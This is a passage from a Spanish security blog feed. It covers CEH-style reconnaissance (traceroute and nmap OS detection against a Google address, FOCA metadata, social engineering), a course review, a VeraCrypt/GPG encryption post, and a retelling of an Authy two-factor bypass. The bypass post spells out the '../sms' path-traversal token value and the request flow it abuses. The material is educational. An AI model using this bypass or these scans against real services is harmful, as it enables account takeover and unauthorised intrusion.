ns3.google.com.</span> <span style="color: #888888;">google.com nameserver = ns2.google.com.</span> <span style="color: #888888;">Authoritative answers can be found from:</span> <span style="color: #888888;">ns4.google.com internet address = 216.239.38.10</span> <span style="color: #888888;">ns1.google.com internet address = 216.239.32.10</span> <span style="color: #888888;">ns3.google.com internet address = 216.239.36.10</span> <span style="color: #888888;">ns2.google.com internet address = 216.239.34.10</span> </pre> </div> <br /> El resultado nos muestra que existen cuatro servidores DNS.<br /> <br /> <span style="font-size: large;"><b>MetaDatos</b></span><br /> <br /> Es una técnica útil para recolectar información que se encuentran contenidos en los ficheros.&nbsp;Los metadatos son datos altamente estructurados que describen información sobre un objeto en este caso un fichero. en el podemos encontrar el autor, fecha de creacion, nombre del equipo, sistema operativo.<br /> <br /> Existen diversas herramientas para la obtencion y analisis de los metadatos una de las mas conocida es <b>FOCA (Fingerprinting Organizations with Collected Archives)&nbsp;&nbsp;</b>soporta los siguientes tipos de documentos:<br /> <br /> <ul> <li>Microsoft Office de la versión 97 a la 2007</li> <li>OpenOffice</li> <li>Portable Document Format (pdf)</li> <li>Corel Word Perfect document (wpd)</li> <li>Joint Photographic Experts Group (jpg)</li> </ul> <br /> <span style="font-size: large;"><b>Ingeniería</b></span><b><span style="font-size: large;">&nbsp;Social</span></b><br /> <br /> y &nbsp;por ultimo y no menos importante esta tecnica es el pan de cada dia de muchos delicuentes y no solo es usada por hackers informaticos, sino por estafadores de todo tipo. como las populares llamadas telefonicas, correos, phising. etc... esta&nbsp;práctica se usa con el fin de obtener información confidencial a través de la manipulación de usuarios legítimos. Es una técnica que pueden usar ciertas personas, tales como investigadores privados, criminales, o delincuentes informáticos, para obtener información, acceso o privilegios en sistemas de información que les permitan realizar algún acto que perjudique o exponga la persona u organismo comprometido a riesgo o abusos.<br /> <br /> si has realizado encuestas si algun dias has digitado o dado tus datos personales sin saber realmente quien esta detras de esa llamada, correo, encuesta, o herramienta, posiblemente has sido objeto de esta practica común.<br /> <br /> <div style="text-align: center;"> <b><span style="font-size: large;">Locating the network range</span></b></div> <div style="text-align: center;"> <b><span style="font-size: large;"><br /></span></b></div> El siguiente paso del proceso de recopilación de información es tratar de identificar el rango de direcciones IP junto con su máscara de subred del objetivo.<br /> <br /> Para encontrar el rango de la red, el auditor puede trazar la ruta entre su sistema y el sistema de objetivo.&nbsp;Hay muchas herramientas de traceroute hoy en dia que nos entrega como resultados&nbsp;graficas de los nodos traceados como es&nbsp;<a href="http://www.monitis.com/traceroute/" rel="nofollow" target="_blank">V</a><b><a href="http://www.monitis.com/traceroute/" rel="nofollow" target="_blank">isual Trace Route Tool</a></b>. los que son mas de consola pueden seguir optando por el comando <b>Traceroute o Tracert </b>en windows. Es un comando simple pero de gran utilidad en auditorias de seguridad, si se desea obtener el traceado de una ip de un atacante o bien de un objetivo, hay es cuando aparece el comando el cual&nbsp;nos muestra una traza de la dirección es decir nos permite seguir los saltos de host, puntos de red o nodos como quieran llamarlos. con ella el auditor puede obtener información relevante sobre el objetivo.<br /> <b></b><br /> <br /> En el siguiente ejemplo se utiliza el comando <b>traceroute</b> desde del punto de vista de un auditor o atacante informático, con el propósito de identificar host's implicados en el paquete o ataque.<br /> <br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">[Antony@Server ~]$</span> traceroute 173.194.112.80 <span style="color: #888888;">traceroute to 173.194.112.80 (173.194.112.80), 30 hops max, 40 byte packets</span> <span style="color: #888888;"> 1 XXXXXXXXXXXXXX.static.reverse.lstn.net (XXX.XXX.XXX.XXX) 0.698 ms 0.848 ms 1.058 ms</span> <span style="color: #888888;"> 2 XXXXXXXXXXXXXX.dallas-idc.com (</span><span style="color: #888888; line-height: 125%;">XXX.XXX.XXX.XXX</span><span style="color: #888888; line-height: 125%;">) 1.485 ms 1.530 ms 1.568 ms</span> <span style="color: #888888;"> 3 XXXXXXXXXXXXXX.dallas-idc.com (</span><span style="color: #888888; line-height: 125%;">XXX.XXX.XXX.XXX</span><span style="color: #888888; line-height: 125%;">) 0.254 ms XXXXXXXXXXXX.dallas-idc.com (</span><span style="color: #888888; line-height: 125%;">XXX.XXX.XXX.XXX</span><span style="color: #888888; line-height: 125%;">) 0.278 ms XXXXXXXXXXXXXXXXX.dallas-idc.com (</span><span style="color: #888888; line-height: 125%;">XXX.XXX.XXX.XXX</span><span style="color: #888888; line-height: 125%;">) 0.282 ms</span> <span style="color: #888888;"> 4 172.22.1.17 (172.22.1.17) 0.644 ms 172.22.1.13 (172.22.1.13) 2.428 ms 2.552 ms</span> <span style="color: #888888;"> 5 xe-2-1-1.mpr1.dfw15.us.above.net (209.249.11.165) 0.234 ms 0.210 ms 0.205 ms</span> <span style="color: #888888;"> 6 ae4.cr1.dfw2.us.zip.zayo.com (64.125.21.6) 0.724 ms 0.660 ms 0.707 ms</span> <span style="color: #888888;"> 7 ae11.er1.dfw2.us.zip.zayo.com (64.125.20.66) 0.377 ms 0.583 ms 0.577 ms</span> <span style="color: #888888;"> 8 72.14.194.53 (72.14.194.53) 0.448 ms 0.627 ms 0.421 ms</span> <span style="color: #888888;"> 9 209.85.244.120 (209.85.244.120) 0.551 ms 0.547 ms 209.85.244.122 (209.85.244.122) 0.723 ms</span> <span style="color: #888888;">10 66.249.95.198 (66.249.95.198) 122.528 ms 122.443 ms 122.649 ms</span> <span style="color: #888888;">11 72.14.238.91 (72.14.238.91) 19.112 ms 209.85.142.206 (209.85.142.206) 21.873 ms 72.14.238.91 (72.14.238.91) 19.038 ms</span> <span style="color: #888888;">12 216.239.48.150 (216.239.48.150) 42.934 ms 216.239.48.41 (216.239.48.41) 42.377 ms 42.457 ms</span> <span style="color: #888888;">13 216.239.48.155 (216.239.48.155) 120.624 ms 120.609 ms 120.544 ms</span> <span style="color: #888888;">14 209.85.143.217 (209.85.143.217) 110.861 ms 209.85.251.49 (209.85.251.49) 113.830 ms 113.687 ms</span> <span style="color: #888888;">15 72.14.235.14 (72.14.235.14) 121.715 ms 209.85.243.34 (209.85.243.34) 122.293 ms 122.448 ms</span> <span style="color: #888888;">16 72.14.234.234 (72.14.234.234) 119.539 ms 72.14.234.236 (72.14.234.236) 118.813 ms 118.698 ms</span> <span style="color: #888888;">17 72.14.236.53 (72.14.236.53) 121.589 ms 121.623 ms 122.190 ms</span> <span style="color: #888888;">18 fra07s29-in-f16.1e100.net (173.194.112.80) 119.467 ms 119.241 ms 119.211 ms</span> </pre> </div> <br /> En el resultado del ejemplo se puede identificar los host por los cuales pasa un paquete de red entre el equipo de origen y el equipo destino, los tres primeros salton hacen parte del equipo de origen, el resto es el camino que tomo ese paquete para llegar al equipo destino.<br /> <br /> <b><span style="font-size: large;">Identifying active machines</span></b><br /> <br /> Antes de intentar cualquier pentest, primero tenemos que identificar las máquinas activas que están en el alcance de la red de destino. Es importante tratar de detectar equipos activos en la red de destino por varios razones:<br /> <br /> <ul> <li>Ayuda a completar los detalles precisos en el mapa de la red que se está creando.</li> <li>Identifica el perímetro y el límite exterior del sistema de destino.</li> <li>Ayuda a crear un inventario de los sistemas que son accesibles en la red de destino.</li> </ul> <br /> <b>Traceroute</b>, <b>Ping &nbsp;y Nmap</b>&nbsp; son herramientas útiles para la identificación de los sistemas activos.<br /> <b><br /></b> <b>PING</b><br /> <br /> Este comando ICMP lo que podemos encontrar en todos los S.O nos permite validar que equipos se encuentran activos o bien responden un mensaje ICMP. <b>Ping </b>nos puede dar detalles para medir la velocidad a la que los paquetes viajan a través de la red, y para obtener algunos datos básicos sobre el objetivo, al igual que Time-To-Live (TTL). También se puede utilizar para la resolución de nombres de host. <b>Ping</b>&nbsp;funciona muy simple. Se envía una solicitud de eco a un host de destino y espera a que el objetivo envié una respuesta eco. Así podemos hacer un barrido con ping y conocer los equipos que se encuentran activos.<br /> <br /> Para eso pueden hacer uso de diversas herramientas que hacen uso de P<b>ing </b>o scanner de red. también se puede hacer uso de <b>Nmap</b>&nbsp;el cual también puede realizar esta tarea.<br /> <br /> Hay que recordar que si detrás del objetivo existe un buen admin este posiblemente se encuentre protegido de los barridos de ping.<br /> <br /> <span style="font-size: large;"><b>Detecting operating systems and Finding open ports and applications</b></span><br /> <div style="text-align: justify;"> <br /> Ya ahora que conocemos mas o menos el tamaño de la red y hemos identificado las maquinas disponibles, como auditor debemos &nbsp;obtener los puertos abiertos en esas máquinas y descubrir los servicios disponibles e identificar el sistema operativo.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> La determinación del tipo de S.O es también un objetivo de la exploración, ya que esto determinará</div> <div style="text-align: justify;"> el tipo de ataque que se lanzará. al igual que las versiones para conocer la existencia de vulnerabilidades expuestas en las BD de seguridad y asi explotarlas.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Las técnicas para identificar estos puertos y descubrir los servicios son:</div> <div style="text-align: justify;"> <br /></div> <ul> <li><b>Port scanning:&nbsp;</b>se emplea para designar la acción de analizar por medio de un programa el estado de los puertos de una máquina conectada a una red de comunicaciones. Detecta si un puerto está abierto, cerrado, o protegido por un cortafuegos</li> <li><b>Banner grabbing :&nbsp;</b>es una técnica de enumeración utilizado para recopilar información acerca de un sistema informático en una red y los servicios que se ejecutan en sus puertos abiertos</li> <li><b>War walking or War Driving: </b>Se usa para describir la accion de salir en busquedas de redes wifi ya sea caminando o en auto. es una practica comun para intentar obtener acceso a la red privada del objetivo</li> </ul> <div> No pasare a explicar estos temas ya que se han detallado en otros artículos pasados. y son practica sencillas del dia a dia.</div> <div> <br /></div> <div> Las guías también nos hablan de <b>War Dialing</b> ya poco usadas o definitivamente eliminadas por los nuevos conceptos de red :</div> <ul> <li><b>War dialing:&nbsp;</b>técnica utilizada durante las décadas de los años 1980 y 1990, que consistía en hacer llamadas a una serie de números de teléfono automáticamente con el fin de encontrar módems conectados y permitiendo la conexión con algún otro ordenador</li> </ul> <br /> Ademas de las herramientas ya anteriormente nombradas y nuestro querido <b>Nmap. </b>existen miles de estas que pueden ayudarnos a encontrar esta información.<br /> <br /> <b>Nmap </b>nos ofrece parametros para intentar identificar el sistema operativo del host, como tambien existe scripts para <b>Nmap </b>que fuerza la busqueda de las versiones del S.O y nos puede dar con mas claridad y certeza la version del sistema un ejemplo de identificacion seria el siguiente sigamos tomando como ejemplo la direccion dada de un servidor de <b>google.com&nbsp;173.194.112.80.</b><br /> <b><br /></b> Los parametros que podriamos usar en <b>Nmap </b>para identificar S.O serian los siguientes:<br /> <br /> <ul> <li><b>-sV = detecta las versiones</b></li> <li><b>-O = se intenta identificar el Sistema Operativo</b></li> <li><b>-A = habilita OS fingerprinting y detección de versión</b></li> <li><b>-P &nbsp;= Establece el puerto a scanear ejemplo "139" puerto NetBios</b></li> </ul> <br /> <br /> <b><br /></b> <!-- HTML generated using hilite.me --><br /> <div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">C:\Users\Antony&gt;nmap -O 173.194.112.80</span> <span style="color: #888888;">Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-15 17:33 Hora est. PacÝfico, SudamÚrica</span> <span style="color: #888888;">Nmap scan report for fra07s29-in-f16.1e100.net (173.194.112.80)</span> <span style="color: #888888;">Host is up (0.13s latency).</span> <span style="color: #888888;">Not shown: 998 filtered ports</span> <span style="color: #888888;">PORT STATE SERVICE</span> <span style="color: #888888;">80/tcp open http</span> <span style="color: #888888;">443/tcp open https</span> <span style="color: #888888;">Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port</span> <span style="color: #888888;">Device type: general purpose</span> <span style="color: #888888;">Running (JUST GUESSING): OpenBSD 4.X (85%)</span> <span style="color: #888888;">OS CPE: cpe:/o:openbsd:openbsd:4.0</span> <span style="color: #888888;">Aggressive OS guesses: OpenBSD 4.0 (85%), OpenBSD 4.3 (85%)</span> <span style="color: #888888;">No exact OS matches for host (test conditions non-ideal).</span> </pre> </div> <b><br /></b> <br /> La consulta anterior nos muestra como resultado puertos al descubierto 80 y 443 y una probabilidad de un 85% que el sistema es <b>OpenBSD </b>version <b>4.3.</b><br /> <b><br /></b> cuando la informacion no es precisa usaremos unos de los script de <b>nmap&nbsp;smb-os-discovery.nse </b>el cual nos ayuda a descubrir el S.O del host.<br /> un ejemplo seria:<br /> <b>nmap -sS -O --script smb-os-discovery.nse ip</b><br /> <br /> pueden ver mayor información sobre la detección de S.O con <b>&nbsp;Nmap </b>en su web oficial<br /> <b><a href="http://nmap.org/book/man-os-detection.html" rel="" target="_blank">http://nmap.org/book/man-os-detection.html</a></b><br /> <br /> Una de las herramientas en stock para cualquier pentester es Xprobe la cual algo de su lógica ha sido absorbido por Nmap y es básicamente una &nbsp;herramienta activa <b>OS&nbsp;Fingerprinting</b> que envía datos reales a la máquina.<br /> <br /> <span style="font-size: large;"><b>Mapping the Network</b></span><br /> <br /> Una vez recopilada toda la información necesaria el auditor de seguridad realiza un mapa de la posible red del objetivo.<br /> Esto es principalmente un proceso manual, aunque existen algunas herramientas automatizadas para<br /> esto, como <b><a href="http://www.nlog-project.org/" rel="nofollow" target="_blank">Nlog</a></b>, que puede ayudar a compilar el resultado de&nbsp;<b>NMap&nbsp;</b>y&nbsp;<b><a href="http://cheops-ng.sourceforge.net/" target="_blank">Cheops</a></b><br /> <br /> Esto es lo que básicamente nos exponen las diferentes Guía <b>CEH</b> para realizar un pre-pentesting exitoso.<br /> <br /> <br /> Fuentes: <b><a href="https://books.google.com.co/books?id=m2qZNW4dcyIC" rel="nofollow" target="_blank">The&nbsp;CEH &nbsp;Prep Guide</a>.</b></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-32746255299777353492015-03-26T12:03:00.002-05:002015-03-26T12:04:18.803-05:00<div style="text-align: center;"> <img src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-xfa1/v/t1.0-1/p160x160/10649653_542833052525988_1102514179233289134_n.png?oh=fbb716bdbe1e0bbb4cbeeccc3bbdd65d&amp;oe=55B37A64&amp;__gda__=1433765869_388c2db83c3c1ec2b5ed6ab85f6e3e8e" /></div> <div style="text-align: center;"> <br /></div> <div style="text-align: justify;"> he estado mirando lo que promete ser una gran plataforma colaborativa y educativa de&nbsp;ethical hacking y todo lo relacionado con la seguridad informática y hasta el momento la plataforma es gratuita. por el momento he tomado los cursos de <b>Wireshark para pentester </b>y <b>Pentesting Avanzado. </b>ambos cursos dirigidos por&nbsp;<b><a href="http://www.backtrackacademy.com/@Rodolfo" rel="nofollow" target="_blank">Rodolfo Cecena</a>.</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <b>BacktrackAcademy</b>&nbsp;es una comunidad sin animo de lucro. Actualmente la comunidad de miembros y colaboradores son de distintos países de latinoamericana.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: center;"> <img alt="Curso. wire. final 01" src="http://s3.amazonaws.com/backtrack-academy-01/courses/images/000/000/051/small/curso._wire._final-01.png?1425263899" /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> el curso de <b>wireshark para pentester. </b>me parece un curso básico y muy bien estructurado para los principiantes, donde te van explicando a través de vídeos desde tus primeros pasos con la herramienta conociendo la GUI hasta el análisis de paquetes y filtrados. del curso podemos decir que es un curso intermedio. pero donde aprenderás algo nuevo si lo desconocen y los animaran a explorar y conocer mas sobre todas estas herramientas.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: center;"> <img alt="Metaex 01" src="http://s3.amazonaws.com/backtrack-academy-01/courses/images/000/000/049/small/metaex-01.png?1425087397" /></div> <div style="text-align: center;"> <br /></div> <div style="text-align: justify;"> El curso de <b>Pentesting Avanzado. </b>es una introducción al ethical hacking donde veras explicaciones &nbsp;y laboratorios sobre el análisis forense, pentesting sobre windows 7, aplicaciones web, &nbsp;creacion de botnet, de <b>AP</b>&nbsp;(Acces Point) Falso. explotación de vulnerabilidades,Assembler, Debugger, etc..</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> En este curso se vera rápidamente varias técnicas de pentesting muy bien explicadas y claras. se vera un ejemplo de explotación de la vulnerabilidad ya parchada <b>ShellShock</b>. todo esto claro como propósito académico.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Espero que disfruten de esta plataforma y colaboremos entre todos en el crecimiento de esta.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Saludos!!</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Para conocer mayot informacion sobre la plataforma y los cursos publicados visiten su web oficial y paginas de social para conocer noticias y actualizaciones sobre la plataforma y cursos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <a href="http://backtrackacademy.com/" style="background-color: white; color: #2970a6; font-family: Verdana, sans-serif; font-size: small; line-height: 22.3999996185303px; text-align: left; text-decoration: none;">http://backtrackacademy.com/</a><br /> <a href="http://twitter.com/BackTrackAcadem" style="background-color: white; color: #2970a6; font-family: Verdana, sans-serif; font-size: small; line-height: 22.3999996185303px; text-align: left; text-decoration: none;">http://twitter.com/BackTrackAcadem</a><br /> <a href="https://www.facebook.com/BackTrackAcademy?fref=ts" style="background-color: white; color: #2970a6; font-family: Verdana, sans-serif; font-size: small; line-height: 22.3999996185303px; text-align: left; text-decoration: none;">https://www.facebook.com/BackTrackAcademy?fref=ts</a></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-3774065350106290772015-03-16T16:17:00.001-05:002015-03-16T16:18:06.072-05:00<div style="text-align: center;"> <img alt="" src="http://sakurity.com/img/authylogo.svg" height="66" style="background-color: #fdfdfd; border: 0px; box-sizing: border-box; color: #111111; display: inline-block; font-family: Helvetica, Arial, sans-serif; font-size: 16px; height: auto; line-height: 25.6000003814697px; max-width: 100%; vertical-align: middle;" width="400" /></div> <div style="text-align: center;"> <br /></div> Se ha encontrado una vulnerabilidad en el sistema de autenticacion de doble factor de <a href="https://www.authy.com/" rel="nofollow" target="_blank">Authy.com</a> con tan solo digitar "<b>../SMS</b>"<br /> <br /> Segun cuenta&nbsp;<b>Egor Homakov</b>, un investigador de seguridad independiente de&nbsp;<b>Sakurity</b>, quien reveló la vulnerabilidad de "inyección" que afectó el servicio&nbsp;<b>Authy&nbsp;</b>a través de una biblioteca de código abierto de uso común.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyNO2cyLqwY1-puFLGUTialM1LLami0GtaRXRKaOD1zetrcec06RywZkC0CTJVdFhpZBGa_L2QlfHLyGb2mMOLSx-EkO4wu7wZQiDJXfkGKSpN487pKP2bqGnCXbCRRZxyPhPhPPlV4A/s1600/6b4d306b62deeff761fda8bc6473d3cf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyNO2cyLqwY1-puFLGUTialM1LLami0GtaRXRKaOD1zetrcec06RywZkC0CTJVdFhpZBGa_L2QlfHLyGb2mMOLSx-EkO4wu7wZQiDJXfkGKSpN487pKP2bqGnCXbCRRZxyPhPhPPlV4A/s1600/6b4d306b62deeff761fda8bc6473d3cf.png" height="483" width="640" /></a></div> <br /> <br /> Con tan solo digitar <b>../sms</b>&nbsp;pueden pasar por alto el segundo factor es utilizado por 2FA authy.com.<br /> <br /> el proceso de trabajar con authy es simple y consta de dos llamadas a la <b>API</b>:<br /> <br /> <br /> <ol> <li>El cliente solicita un nuevo Token<b>&nbsp;http://api.authy.com/protected/json/sms/AUTHY_ID?api_key=KEY </b>&nbsp;donde&nbsp;<b>AUTHY_ID&nbsp;</b>es el identificador públicamente disponible asociado con la cuenta de usuario corriente. Respuesta esperada :&nbsp;<b>{"success":true,"message":"SMS token was sent","cellphone":"+1-XXX-XXX-XX85"}</b>&nbsp;con estado <b>200</b></li> <li>El usuario envía la señal de vuelta y el cliente comprueba si el elemento es válido con&nbsp;<b>http://api.authy.com/protected/json/verify/SUPPLIED_TOKEN/AUTHY_ID?api_key=KEY&nbsp;</b>y autentica con el segundo factor si la <b>API</b> responde con el estado 200.</li> </ol> Todo comenzó con la comprobación de las bibliotecas SDK. Todo parecía bien, excepto por&nbsp;<b>authy-nodo</b>, que no codificaba una señal antes de colocarlos en la URL -&nbsp;— <b>this._request(«get», "/protected/json/verify/" + token + "/" + id, {}, callback, qs);</b><br /> <br /> Sólo se puede insertar&nbsp;<b>VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID# &nbsp;</b>se tendria que&nbsp;sobrescribir la ruta y hacer el envío del cliente de modo que esto siempre devuelva el estado 200.cualquier cosa despues del <b>Hash </b># es ignorado.<br /> <b>/protected/json/verify/VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID &nbsp;</b>Es imposible distinguir petición forjada a partir de una válida en el servidor porque <b>#/AUTHY_ID </b>no se envía.<br /> <br /> Despues descubrio un <b>Bug</b> interesante en <b>authy-python: urllib.quote </b>el cual&nbsp;codifica todos los caracteres excepto una barra&nbsp;y qué se puede hacer con una barra? Puede tratar de insertar&nbsp;&nbsp;<b>/../</b>? como ya deben saber,&nbsp;&nbsp;<b>/../, /%2e%2e/ </b>&nbsp;significa "subir un directorio" en los navegadores. Sin embargo, el servidor no tiene que tener esta característica.<br /> <b>ver tabla&nbsp;<a href="http://www.w3schools.com/tags/ref_urlencode.asp" rel="nofollow" target="_blank">URLencode</a></b><br /> <br /> <b>FUNCIONAMIENTO:</b><br /> <br /> <ol> <li>El atacante digita "<b>../SMS</b>" en el campo del token de verificacion</li> <li>La aplicación cliente lo codifica como "<b>..%2fsms"&nbsp;</b>y hace una llamada a la API para Authy -&nbsp;<b>https://api.authy.com/protected/json/verify/..%2fsms/authy_id.</b></li> <li><b>Path_traversal middleware </b>decodifica la ruta a: <b>https://api.authy.com/protected/json/verify/../sms/authy_id&nbsp;</b>divide por barras y elimina el directorio frente a&nbsp;<b>/...</b></li> <li>actualmente <b>Authy API </b>ve la ruta <b>modificada&nbsp;https://api.authy.com/protected/json/sms/authy_id </b>&nbsp;simplemente envía otro SMS al <b>authy_id</b>&nbsp; y responde con el estado 200.&nbsp;<b>{"success":true,"message":"SMS token was sent","cellphone":"+1-XXX-XXX-XX85"}.</b></li> <li>Toda la biblioteca SDK de <b>Authy </b>consideran el estado 200 como respuesta exitosa.</li> </ol> <br /> <br /> <b>Fuente:</b><br /> <a href="http://sakurity.com/blog/2015/03/15/authy_bypass.html" rel="nofollow" target="_blank">http://sakurity.com/blog/2015/03/15/authy_bypass.html</a><br /> <ol> </ol> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-76682094478595567252015-03-12T13:20:00.000-05:002015-03-12T13:22:38.647-05:00Algunas empresas gastan mucho dinero en soluciones de cifrado, DLP y seguridad siendo estas soluciones algo costosas y poco facil de manejar. como lo es el reconocido <a href="http://www.cryptzone.com/" rel="nofollow" target="_blank"><b>Criptzone</b> </a>una solución muy completa en cifrado.<br /> <br /> Para los &nbsp;amantes del GNU existe una combinación que puede suplir este tipo de soluciones, otorgándonos esa misma seguridad que otras soluciones pagas, con un plus una comunidad en constante crecimiento y actualización.<br /> <div style="text-align: center;"> <b><br /></b></div> <div style="text-align: center;"> <b>VeraCrypt - GNU Privacy Guard - Kleopatra</b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5bT77CcUDnGcs-ChuP4bc1jpiz7GwvMnOQ2gHyObVkolAaTcbXBaOnIgkKFU9KgIVUGR9lzi6UJVJrmYGt8joC19eO8HLIZLuTmxDX2h6zM2BBmp9PhfhsH9HSvTSKWyydee8Gtc1oE/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5bT77CcUDnGcs-ChuP4bc1jpiz7GwvMnOQ2gHyObVkolAaTcbXBaOnIgkKFU9KgIVUGR9lzi6UJVJrmYGt8joC19eO8HLIZLuTmxDX2h6zM2BBmp9PhfhsH9HSvTSKWyydee8Gtc1oE/s1600/1.png" height="168" width="640" /></a></div> <div style="text-align: center;"> <b><br /></b></div> <div style="text-align: center;"> <b><br /></b></div> <div style="text-align: justify;"> Esta combinacion abarca la seguridad de nuestra información en cualquier dispositivo de almacenamiento. Y la integridad de nuestra información la cual vamos a tratar de implementar un nivel de seguridad para evitar posibles modificaciones en nuestras comunicaciones.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Nuestra primera herramienta es <b>VeraCrypt: </b>Esta herramienta es la mejor alternativa GNU en cifrado tras el abandono del proyecto&nbsp;<b>TrueCrypt. </b>es mas la difunta herramienta es base de <b>VeraCrypt</b>&nbsp;aunque tiene mejoras de seguridad tras la auditoría que realizó <b>@Mounir Idrassi</b> al código de <b>TrueCrypt.</b><br /> <br /> En un contenedor estándar, <b>TrueCrypt </b>usaba 2.000 iteraciones para la transformación de la contraseña. <b>VeraCrypt </b>usa 655.331 iteraciones del mismo algoritmo (PBKDF2-RIPEMD160) y 500.000 de SHA-2 y Whirlpool.<br /> <br /> <br /> Esto significa que, como consecuencia, <b>VeraCrypt </b>es ligeramente más lento en abrir particiones cifradas, pero en contraprestación, hace que éstas sean de 10 a 300 veces más difíciles de violentar por fuerza bruta. Además de esto, alega que se han corregido debilidades en la <b>API </b>y en los drivers, y que el código ha pasado por herramientas de análisis para corregir otros defectos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI5cQhSonjbgBMbPidtVvuMTT9tFF7XhpCLdkObQB2YToGWAmzGDt_qXDRivT_apEZVCPjHsBaAlv1eupX7uQThNWV0L8aHvpZ9UyGbG-R2DZj1cpuGagxKQgXshNXMIrutETasFfFeGE/s1600/VerCrypt_Creating_Volume-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI5cQhSonjbgBMbPidtVvuMTT9tFF7XhpCLdkObQB2YToGWAmzGDt_qXDRivT_apEZVCPjHsBaAlv1eupX7uQThNWV0L8aHvpZ9UyGbG-R2DZj1cpuGagxKQgXshNXMIrutETasFfFeGE/s1600/VerCrypt_Creating_Volume-1.jpg" height="512" width="640" /></a></div> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Ps para los que usaban <b>TrueCrypt </b>y se preguntan si podran migrar sus archivos lamento decirles que no, aun que&nbsp;<b>VeraCrypt</b> luce muy similar en apariencia e interfaz a <b>TrueCrypt,</b>&nbsp;su formato de almacenamiento es incompatible con éste, lo que significa que no podrás migrar tus archivos directamente.<br /> <br /> <b>Documentación&nbsp;de la herramienta: <a href="https://veracrypt.codeplex.com/documentation" target="_blank">aqui</a></b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5UGur0QDwp21K8aBM4CLwIk2EthgC8QQhStlL8FanZ_NArHGJr8bAe2CTv2HTkPvThkLY0IHmOkYvqOnPd9_8ZLjG0ELPqvgKK3Bo4T9RgUJpwR5gCd6Mltl6-OLVmLlNobknndssJHI/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5UGur0QDwp21K8aBM4CLwIk2EthgC8QQhStlL8FanZ_NArHGJr8bAe2CTv2HTkPvThkLY0IHmOkYvqOnPd9_8ZLjG0ELPqvgKK3Bo4T9RgUJpwR5gCd6Mltl6-OLVmLlNobknndssJHI/s1600/2.png" height="128" width="320" /></a></div> <br /> <div style="text-align: center;"> <b>GNU Privacy Guard</b></div> <b><br /></b> Esta es una herramienta de cifrado y firmas digitales, que viene a ser un reemplazo del <b>PGP </b>(Pretty Good Privacy) pero con la principal diferencia que es software libre licenciado bajo la GPL. GPG utiliza el estándar del IETF(Internet Engineering Task Force) denominado OpenPGP.<br /> del cual ya hemos hablado en otra ocasión pero específicamente de <b>GPG4win </b>en <b><a href="http://antoniojorz.blogspot.com/2015/03/cifrado-de-correos-en-thunderbird.html" target="_blank">Enigmail+ThunderBird</a></b>.<br /> Un proyecto de código abierto que puede ayudarle a cifrar sus correos electrónicos y archivos directament, el <b>GNU Privacy Guard</b> para <b>Windows</b>.<br /> <br /> <b><a href="https://www.gnupg.org/">https://www.gnupg.org/</a></b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWVDTQ2S-51LfmxU6tf2_ItvpYFTT04I2NfnKovSn8LpmK_8ezzQ14xpn8aDijhAYaJhL4uyWaMn1ClF1rwAi1T67SoLMRDTvPGOhAmWrqDoBxTbEV_jqag-bWDl_q9nt2AtTKqVaHGxw/s1600/kmail2-kleopatra.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" 